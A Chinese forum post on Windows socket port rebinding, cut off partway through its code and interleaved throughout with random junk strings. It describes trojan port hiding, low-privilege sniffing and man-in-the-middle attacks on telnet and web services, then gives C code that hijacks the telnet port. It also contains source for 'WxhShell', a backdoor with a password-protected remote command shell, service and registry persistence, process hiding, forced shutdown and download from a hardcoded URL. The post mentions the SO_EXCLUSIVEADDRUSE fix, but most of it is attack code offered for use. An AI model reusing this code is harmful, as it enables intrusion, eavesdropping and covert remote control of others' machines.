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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =14pEe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6ds&n#n  
m^TkFt<BM  
  saddr.sin_family = AF_INET; ;$W|FpR2  
+ux,cx.U"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (j2]:B Vu  
z8gp<5=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n.XT-X^  
poM VB{U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _N<8!(|w  
Z rvb %  
  这意味着什么?意味着可以进行如下的攻击: P/^:IfuR  
Orz Dr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r> NgJf,  
0n5N-b?G-@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `AYHCn  
HIF.;ImG^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {~Phc 2z  
%R}}1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PyIIdTm  
CA{c-kG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T,k`WR  
(;!&RZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yXl zImPn  
'GAjx{gM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,KZ_#9[>  
@*F NWT6  
  #include `?~pk)<C].  
  #include 9HWtdJ+^C=  
  #include 'DVPx%p  
  #include    ~~>D=~B0'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >YD? pDPb/  
  int main() " MlY G6  
  { ptX;-'j(  
  WORD wVersionRequested; >i=mw5`D]  
  DWORD ret; ,b2Cl[  
  WSADATA wsaData; FLi)EgZXt  
  BOOL val; =EFF2M`F  
  SOCKADDR_IN saddr; xqIt?v2c  
  SOCKADDR_IN scaddr;  $ l Y  
  int err; Fz-Bd*uS  
  SOCKET s; o ;.j_  
  SOCKET sc; $n!saPpxS  
  int caddsize; `j@2[XdHu  
  HANDLE mt; ij/ |~-!  
  DWORD tid;   @ 3FTf"#Y  
  wVersionRequested = MAKEWORD( 2, 2 ); U^[<G6<9]  
  err = WSAStartup( wVersionRequested, &wsaData ); 7n {uxE#U)  
  if ( err != 0 ) { 0z.Hl1  
  printf("error!WSAStartup failed!\n"); i{xgygp6f  
  return -1; }VdohX-  
  } jeC3}BL }  
  saddr.sin_family = AF_INET; DjtUX>e  
   1Qv5m^>vj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zuXJf+]  
sFMSH :5z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }~yhkt5K  
  saddr.sin_port = htons(23); G|v{[>tr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rD fUTfv|Q  
  { B xq(+^T  
  printf("error!socket failed!\n"); ^lf{IM-Y  
  return -1; Wfz&:J#  
  } e%SQ~n=H 9  
  val = TRUE; p Gzzv{H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,{=#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) < OCy  
  { 3 rV)JA  
  printf("error!setsockopt failed!\n"); #D&eov?  
  return -1; =rGjOb3+  
  } pvD\E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SVo:%mX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z\{y[3-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *#w+*ywVZH  
i_Ab0vye  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w>J|416  
  { K#kU6/  
  ret=GetLastError(); |-%[Z  
  printf("error!bind failed!\n"); C65( m  
  return -1; *6?h,Dt L  
  } +g>)Bur  
  listen(s,2); w/#k.YE  
  while(1) ".Luc 7  
  { C0Z mv  
  caddsize = sizeof(scaddr); =E,^ +`M  
  //接受连接请求 >S,yqKp37~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GMyzQ]@}  
  if(sc!=INVALID_SOCKET) n3 -5`Jti  
  { V*"-@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :'|%~&J  
  if(mt==NULL) l`M{Ravvn*  
  { Cj#$WZga%  
  printf("Thread Creat Failed!\n"); |gg 6|,Bt4  
  break; tI~.3+F  
  } =`Pgo5A  
  } sEm-Td+A5  
  CloseHandle(mt); |>Qj]  
  } 1/:WA:]1 ,  
  closesocket(s); buu~#m 1z  
  WSACleanup(); 0[/>> !ws  
  return 0; 9(V12gn+lk  
  }   }4b 4<Sm_h  
  DWORD WINAPI ClientThread(LPVOID lpParam) a6cq0g[#z  
  { Lk9X>`b#B  
  SOCKET ss = (SOCKET)lpParam; hRHqG  
  SOCKET sc; e3oHe1"hP  
  unsigned char buf[4096]; Bf1,(^3XH  
  SOCKADDR_IN saddr; >08'+\~:b  
  long num; -<h4I aM  
  DWORD val; %F_)!M;x  
  DWORD ret; SfLZVB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 " N>~]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c@>Tzk%?"  
  saddr.sin_family = AF_INET; FL*qV"r^n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q'>pOtJG*J  
  saddr.sin_port = htons(23); )O*\}6:S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3|x*lmit  
  { e:D8.h+ &}  
  printf("error!socket failed!\n"); *")Req  
  return -1; eg!s[1[_  
  } WdI9))J2S  
  val = 100; yyB;'4Af  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jfF   
  { G<:_O-cPSv  
  ret = GetLastError(); 7uQiP&v  
  return -1; N@6+DHt  
  } BJC$KmGk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $P rji  
  { c&me=WD  
  ret = GetLastError(); z-ns@y(f@X  
  return -1; *oZ]k`-!8  
  } (d mLEt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?gD^K,A Hd  
  { 3Z/_}5%"  
  printf("error!socket connect failed!\n"); Pfi|RTX$'*  
  closesocket(sc); `Y]t*` e|  
  closesocket(ss); $FXlH;_7  
  return -1; W>W b|W  
  } HueGARS  
  while(1) )}w2'(!X8  
  { PgHe;^?j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 In13crr4!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o?5m^S14[1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W'lejOiw  
  num = recv(ss,buf,4096,0); {02$pO  
  if(num>0) c[VVCN8dA  
  send(sc,buf,num,0); rZ`+g7&^Fh  
  else if(num==0) !y_4.&C{  
  break; Sq22]  
  num = recv(sc,buf,4096,0); &`x1_*l  
  if(num>0) hvW FzT5  
  send(ss,buf,num,0); lEAf\T7  
  else if(num==0) 8_$[SV$q  
  break; Ck1{\=t  
  } iepolO=  
  closesocket(ss); k0r93 xa  
  closesocket(sc); u-</G-y  
  return 0 ; wH]5VltUT1  
  } Z?JR6;@W  
"xWrYq'"  
!U::kr=t  
========================================================== y[`>,?ns5  
gug9cmA/Q7  
下边附上一个代码,,WXhSHELL _\&v A5-  
Mbm'cM&}  
========================================================== !#&`1cYX  
xu%_Zt2/?j  
#include "stdafx.h" J(>T&G;  
pSa pF)1>  
#include <stdio.h> KpX1GrIn3  
#include <string.h> s#cb wDT  
#include <windows.h> ==#mlpi`S[  
#include <winsock2.h> u~c75Mk_v  
#include <winsvc.h> P*6h $T  
#include <urlmon.h> B<$(Nb5<  
~#MXhhqB  
#pragma comment (lib, "Ws2_32.lib") b I"+b\K  
#pragma comment (lib, "urlmon.lib") ^iA_<@[`X[  
NJ^Bv`  
#define MAX_USER   100 // 最大客户端连接数 m+|yk.md  
#define BUF_SOCK   200 // sock buffer k%D|17I  
#define KEY_BUFF   255 // 输入 buffer gUr #3#  
h;[<4zw  
#define REBOOT     0   // 重启 1u8 k}  
#define SHUTDOWN   1   // 关机 G22{',#r8  
1R.|j_HYy  
#define DEF_PORT   5000 // 监听端口 z!s1$5:"0  
~n=oPm$pR  
#define REG_LEN     16   // 注册表键长度 6L<Y   
#define SVC_LEN     80   // NT服务名长度 jWL%*dJrN  
JIc(hRf9>  
// 从dll定义API O,PTY^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w%1-_;.aU6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0?o<cC1Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P9 w);jp;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tp<v  
K>2M*bGc p  
// wxhshell配置信息 -bd'sv  
struct WSCFG { 3d`u!i?/  
  int ws_port;         // 监听端口 b9;w3Ba  
  char ws_passstr[REG_LEN]; // 口令 4^Ke? ;v  
  int ws_autoins;       // 安装标记, 1=yes 0=no C;3  
  char ws_regname[REG_LEN]; // 注册表键名 {h*)|J  
  char ws_svcname[REG_LEN]; // 服务名 -{XDQ{z<%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZS<`.L6B3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7!F -.kG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KwHlpW*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XvSng"f.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5[y+X|Am  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (nu;o!mo9  
u|"y&>!R-  
}; lFtH;h,==v  
6e>P!bo  
// default Wxhshell configuration j=dGNi)R  
struct WSCFG wscfg={DEF_PORT, 6$)FQ U  
    "xuhuanlingzhe", 8'PK}heBU  
    1, M3G ecjR  
    "Wxhshell", m Ce"=[  
    "Wxhshell", h_HPmh5  
            "WxhShell Service", mY[*(a  
    "Wrsky Windows CmdShell Service", yUjkRT&h  
    "Please Input Your Password: ", (u4'*[o\t  
  1, 7NvnCs  
  "http://www.wrsky.com/wxhshell.exe", 3a?|}zr4  
  "Wxhshell.exe" od)ssL&E~  
    }; R=2"5Hy=  
esM r@Oc  
// 消息定义模块 x7xMSy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .uinv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JU#m?4g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'gtcy  
char *msg_ws_ext="\n\rExit."; cT5BBR   
char *msg_ws_end="\n\rQuit."; p\P)    
char *msg_ws_boot="\n\rReboot..."; ^[&,MQU{7  
char *msg_ws_poff="\n\rShutdown..."; Wl7S<>hg4  
char *msg_ws_down="\n\rSave to "; bcgXpP  
-TMg9M4  
char *msg_ws_err="\n\rErr!"; Ft^X[5G4L  
char *msg_ws_ok="\n\rOK!"; Jcy+(7lE)  
j&u/T  
char ExeFile[MAX_PATH]; 6p9 { z42  
int nUser = 0; V.%LA. 8  
HANDLE handles[MAX_USER]; fK _uuw4  
int OsIsNt; uPy5<c  
_T_6Yl&cf)  
SERVICE_STATUS       serviceStatus; 388vdF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AJ3%Z$JJ;s  
;t M  
// 函数声明 Y2IMHN tH  
int Install(void); $>7T s>8  
int Uninstall(void); )5NWUuH 5  
int DownloadFile(char *sURL, SOCKET wsh); ^(s(4|  
int Boot(int flag); erKi*GssZ  
void HideProc(void); O!t=,F1j  
int GetOsVer(void); Ih N^*P:Fo  
int Wxhshell(SOCKET wsl); lMl'+ yy  
void TalkWithClient(void *cs); zGdYk-H3TH  
int CmdShell(SOCKET sock); |/ji'Bh  
int StartFromService(void); t3AmXx  
int StartWxhshell(LPSTR lpCmdLine); 18Vn[}]"  
VsJKxa4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ==UYjbuU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gA`QV''/:  
JZK93R  
// 数据结构和表定义 7GTDe'T  
SERVICE_TABLE_ENTRY DispatchTable[] = CpB,L  
{ CH#K0hi  
{wscfg.ws_svcname, NTServiceMain}, 1?yj<^"  
{NULL, NULL} {V pk o  
}; mo+!79&  
uq/Fapl  
// 自我安装 qyAnq%B}  
int Install(void) ##%&*vh  
{ cF_`QRtO  
  char svExeFile[MAX_PATH]; Dlpmm2  
  HKEY key; G3 |x%/Fbp  
  strcpy(svExeFile,ExeFile); P,xIDj4d  
^?wR{q"8  
// 如果是win9x系统,修改注册表设为自启动 M.xZU\'ty  
if(!OsIsNt) { D2GF4%|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F v*QcB9K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _%er,Ed  
  RegCloseKey(key); d"@ /{O^1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nw*F1*v`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3yw$<lm  
  RegCloseKey(key); CiGXyhh  
  return 0; `!spi=f  
    } =av0a !  
  } ;l1.jQh  
} 8rx|7  
else { 5F!Qn\{u{  
`*elzW  
// 如果是NT以上系统,安装为系统服务 j0j!oj)7I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [?hvx}  
if (schSCManager!=0) 1Q!kk5jE  
{ rB{w4  
  SC_HANDLE schService = CreateService cly}[<w!  
  ( 7#W]Qj  
  schSCManager, MV??S{^4  
  wscfg.ws_svcname, ~o/k?l  
  wscfg.ws_svcdisp, jO/cdLKX(  
  SERVICE_ALL_ACCESS, ^_i)XdPU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b;{"@b,Y  
  SERVICE_AUTO_START, }#-@5["-X  
  SERVICE_ERROR_NORMAL, `N&*+!O%  
  svExeFile, ^{{a v?h  
  NULL, LR{bNV[i  
  NULL, Te[v+jgLY,  
  NULL, E .28G2&  
  NULL, [& Z- *a  
  NULL 1r};cY6  
  ); KK5;6b  
  if (schService!=0) -8Hc M\b  
  { z9g ++]rkJ  
  CloseServiceHandle(schService); o2=):2x r{  
  CloseServiceHandle(schSCManager); 8sU5MQ5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4'=Q:o*w`  
  strcat(svExeFile,wscfg.ws_svcname); 8zpzVizDG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >~Xe` }'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Yku6\/^  
  RegCloseKey(key); M.6uWwzQR  
  return 0; -KV,l  
    } 0j;ZPqEf3  
  } w/O'&],x  
  CloseServiceHandle(schSCManager); E N%{ $  
} ;Ce?f=4  
} e[?,'Mp9  
:V5 Co!/+  
return 1; Ws7fWK;  
} 0O,;[l  
!mTq6H12 !  
// 自我卸载 vBOY[>=  
int Uninstall(void) 6r`N\ :18  
{ U65l o[  
  HKEY key; tW4X+d"  
ju'a Uzn  
if(!OsIsNt) { ]hS<"=oj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >zDQt7+g;  
  RegDeleteValue(key,wscfg.ws_regname); CuH4~6  
  RegCloseKey(key); -3i(N.)<;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AWi>(wk<  
  RegDeleteValue(key,wscfg.ws_regname); c+E\e]{  
  RegCloseKey(key); T7 "QwA  
  return 0; Sir1>YEm  
  } k2$pcR,WM  
} fkp(M  
} QNINn>2  
else { 6IV):S~  
&Z[+V)6,,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pj]^ p{>  
if (schSCManager!=0) (3mL!1\  
{ M9A1 8d|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .B- b51Uz  
  if (schService!=0) Q-V8=.  
  { Z^2SG_pD  
  if(DeleteService(schService)!=0) { x?V^ l*  
  CloseServiceHandle(schService); 3vcyes-U  
  CloseServiceHandle(schSCManager); Pg8boN]}  
  return 0; OblHN*  
  } ;l _b.z0^6  
  CloseServiceHandle(schService); :e=7=|@7  
  } =oIt.`rf  
  CloseServiceHandle(schSCManager); >J3m ta3  
} \Xmp lG:  
} |9%~z0  
{q`8+$Z;  
return 1; >n3GvZ5%  
} &gruYZGK  
V\x'w*FP  
// 从指定url下载文件 2,q*8=?{6P  
int DownloadFile(char *sURL, SOCKET wsh) oA[`| ji  
{ dp^PiyL  
  HRESULT hr; gJr)z7W'8  
char seps[]= "/"; )W 5g-@  
char *token; t`E5bWG  
char *file; }a[]I%bu 2  
char myURL[MAX_PATH]; XWAIW= .  
char myFILE[MAX_PATH]; Ewp2 1  
p?>J86%[  
strcpy(myURL,sURL); z^`4n_(Ygu  
  token=strtok(myURL,seps); @,e o*  
  while(token!=NULL) " Ot%{&:2  
  { ~`&4?c3p  
    file=token; BHAFO E  
  token=strtok(NULL,seps); |(*btdqy3  
  } I+;e#v,%U  
1Z)P.9c  
GetCurrentDirectory(MAX_PATH,myFILE); hWbu Z%  
strcat(myFILE, "\\"); {22ey`@`h  
strcat(myFILE, file); y\;oZ]J  
  send(wsh,myFILE,strlen(myFILE),0); .<>t2,Af  
send(wsh,"...",3,0); #*qV kPX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _g/d/{-{Q  
  if(hr==S_OK) >*gf1"  
return 0; SF*mY=1  
else KTT!P 4  
return 1; BM:p)%Pv#P  
d*Su c  
} /nA>ox78  
F/lL1nTdK  
// 系统电源模块 { 'A 15  
int Boot(int flag) JUA%l  
{ M !"Q7>d  
  HANDLE hToken; mfI[9G  
  TOKEN_PRIVILEGES tkp; Bf00&PE;  
;kZD>G8  
  if(OsIsNt) { u`Nrg<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ";(m,i f-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qXq#A&  
    tkp.PrivilegeCount = 1; nbP}a?XC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; flqr["czwK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _ymSo`Iv R  
if(flag==REBOOT) { cJq {;~   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6x(b/`VW  
  return 0; nRqP_*]  
} ufR>*)_+  
else { ag:<%\2c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n8!|}J  
  return 0; cwaR#-#  
} 2i!R>`  
  } 3=ME$%f  
  else { rjcH[U(  
if(flag==REBOOT) { XS@iu,uO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?:60lCqj  
  return 0; 2BOH8Mp9  
} gsQn@(;  
else { YK8l#8K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gM1:*YK  
  return 0; ~oSA&v4V  
} e[T3,2C  
} teDRX13=;  
b}7g>  
return 1; ~P,Z@|c4  
} n~`jUML2d  
oSMIWwg7G  
// win9x进程隐藏模块 F'{T[MA  
void HideProc(void) #oEtLb@O  
{ d:&cq8^  
AX@bM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \ :@!rM  
  if ( hKernel != NULL ) 0W6= '7  
  { 79)iv+nf\l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %`G}/"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mL}Wan  
    FreeLibrary(hKernel); Iu~(SKr=|$  
  } u_ :gqvC=  
9} C(M?d  
return; L)|hjpQ  
} FN sSJU3ld  
U/U_q-z]  
// 获取操作系统版本 [C 7X#|  
int GetOsVer(void) DP*V|)  
{ ,bzgjw+R5  
  OSVERSIONINFO winfo; 2-g 5Gb2|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d<\X)-"  
  GetVersionEx(&winfo); +BI%. A`2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  5 YIk  
  return 1; ;2BPEo>z9  
  else P&o+ut:  
  return 0; @d3yqA  
} 25xt*30M  
#CeWk$)m  
// 客户端句柄模块 Pvkr$ou  
int Wxhshell(SOCKET wsl) m7> )p]]  
{ 78Zb IL  
  SOCKET wsh; V^G+_#@,,  
  struct sockaddr_in client; %7TG>tc  
  DWORD myID; b7M)  
1?p:66WmR  
  while(nUser<MAX_USER) ABtv|0K  
{ ) { "}bMf  
  int nSize=sizeof(client); +Sv2'& B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sf`?j  
  if(wsh==INVALID_SOCKET) return 1; \@6w;tyi  
B$97"$#u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !qs~j=;y3  
if(handles[nUser]==0) G"yhu +  
  closesocket(wsh); G\f:H%[5[  
else 'OYnLz`"6  
  nUser++; , YE+k`:  
  } ^jo*e,y:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BXl Y V"  
3XjY  
  return 0; 4NFvX4  
} ]ao%9:P;  
n)]u|qq  
// 关闭 socket ug`Jn&x!  
void CloseIt(SOCKET wsh) x2]chN  
{ jA%R8hdr_  
closesocket(wsh); .YS48 c  
nUser--; Bb5RZ#oa  
ExitThread(0); ^j_t{h)W(0  
} PTA_erU  
vN)l3  
// 客户端请求句柄 Kzfy0LWM  
void TalkWithClient(void *cs) &ujq6~#  
{ )!`>Q|]}Zd  
/EM=!@ka  
  SOCKET wsh=(SOCKET)cs; 5=_))v<Tp  
  char pwd[SVC_LEN]; 'khhn6itA  
  char cmd[KEY_BUFF]; N*hx;k9  
char chr[1]; cC`PmDGq  
int i,j; nfr..4,:  
R? ,XSJ  
  while (nUser < MAX_USER) { ;&RHc#1F  
}cy<$=c#E_  
if(wscfg.ws_passstr) { _3Q8R}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A}03s6^i;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "g;}B"rG  
  //ZeroMemory(pwd,KEY_BUFF); K&vqk/JW1  
      i=0; %LdFS~  
  while(i<SVC_LEN) { yD&UH_ 1g  
AUkePp78  
  // 设置超时 ,?!4P+ob  
  fd_set FdRead; G-T2b,J [  
  struct timeval TimeOut; uchz<z1  
  FD_ZERO(&FdRead); .sPa${  
  FD_SET(wsh,&FdRead); Ba|76OBRJ  
  TimeOut.tv_sec=8; $k3l[@;hE  
  TimeOut.tv_usec=0; 71yf+xL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `>}e 5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u#34mg..  
lLeN`{?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5l(NX  
  pwd=chr[0]; :,dO7dJi  
  if(chr[0]==0xd || chr[0]==0xa) { Q(YQ$ i"S  
  pwd=0; 2Yd;#i)  
  break; {{ 4S gb  
  } {W#VUB  
  i++; #]o#~:S=  
    } Jro%zZle  
-u 'BK@;  
  // 如果是非法用户,关闭 socket V IU4QEW`x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RV+0C&0ff  
} `zRm "G  
f9&po2Pzf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o4pe>hn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {d,~=s0T  
'd 6z^Z6  
while(1) { A@lY{e  
Jq?"?d|:  
  ZeroMemory(cmd,KEY_BUFF); 0NG<uZ  
2l!* o7  
      // 自动支持客户端 telnet标准   zINziAp{  
  j=0; {B lM<  
  while(j<KEY_BUFF) { G^Yg[*bJ^$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z@em1W0?Z  
  cmd[j]=chr[0]; d_}q.%*  
  if(chr[0]==0xa || chr[0]==0xd) { dD8f`*"*=  
  cmd[j]=0; HBnnIbEtF'  
  break; )[hQK_e]  
  } .q7o7J%  
  j++; ;7 Y4 v`m  
    } VpkkiN  
y\"Kur*O  
  // 下载文件 G+xdh  
  if(strstr(cmd,"http://")) { )`.' QW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OmX(3>:9  
  if(DownloadFile(cmd,wsh)) eyGY8fF8$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]p2M!N,?  
  else ,] ,dOIOwn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9W <I~  
  } >w"k:O17  
  else { CwVORf,uA  
42: 6=\  
    switch(cmd[0]) { ;4 ON  
  gNG_,+=!  
  // 帮助 ]RJcY1  
  case '?': { m0 k~8^L@f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fgSe]q//  
    break; x:)8+Rn}  
  } ]2P*Z6Az  
  // 安装 L.@o  
  case 'i': { .-g++f(_i  
    if(Install()) #{kwl|c   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |H'4];>R?  
    else )tyhf(p6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wd`lN,WiW  
    break; !4f0VQI  
    } l4sFT)}-J  
  // 卸载 ;:l\_b'Z}  
  case 'r': { >~sAa+Oxi  
    if(Uninstall()) >)3[CU,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,1+)qv#|i  
    else $fwv'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2%Y]M%P  
    break; KGsH3{r  
    } 5 5_#?vw  
  // 显示 wxhshell 所在路径 }t[?g)"M#-  
  case 'p': { Y&Sk/8  
    char svExeFile[MAX_PATH]; Z'vGX,:  
    strcpy(svExeFile,"\n\r"); Je#vl4<L  
      strcat(svExeFile,ExeFile); X^U)j N2  
        send(wsh,svExeFile,strlen(svExeFile),0); ,NQucp  
    break; D|}%(N@sl  
    } Ol~j q;75  
  // 重启 jCMr[ G=  
  case 'b': { #;32(II  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [y}0X^9,E  
    if(Boot(REBOOT)) ;r_YEPlZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 R !1Vl  
    else { [BpIzhy&}  
    closesocket(wsh); L+&eY?A  
    ExitThread(0); OXs-gC{b  
    } c.u$NnDU6  
    break; wYrb P11  
    } m|)Mc VV  
  // 关机 C[ ehw  
  case 'd': { I'h6!N"  
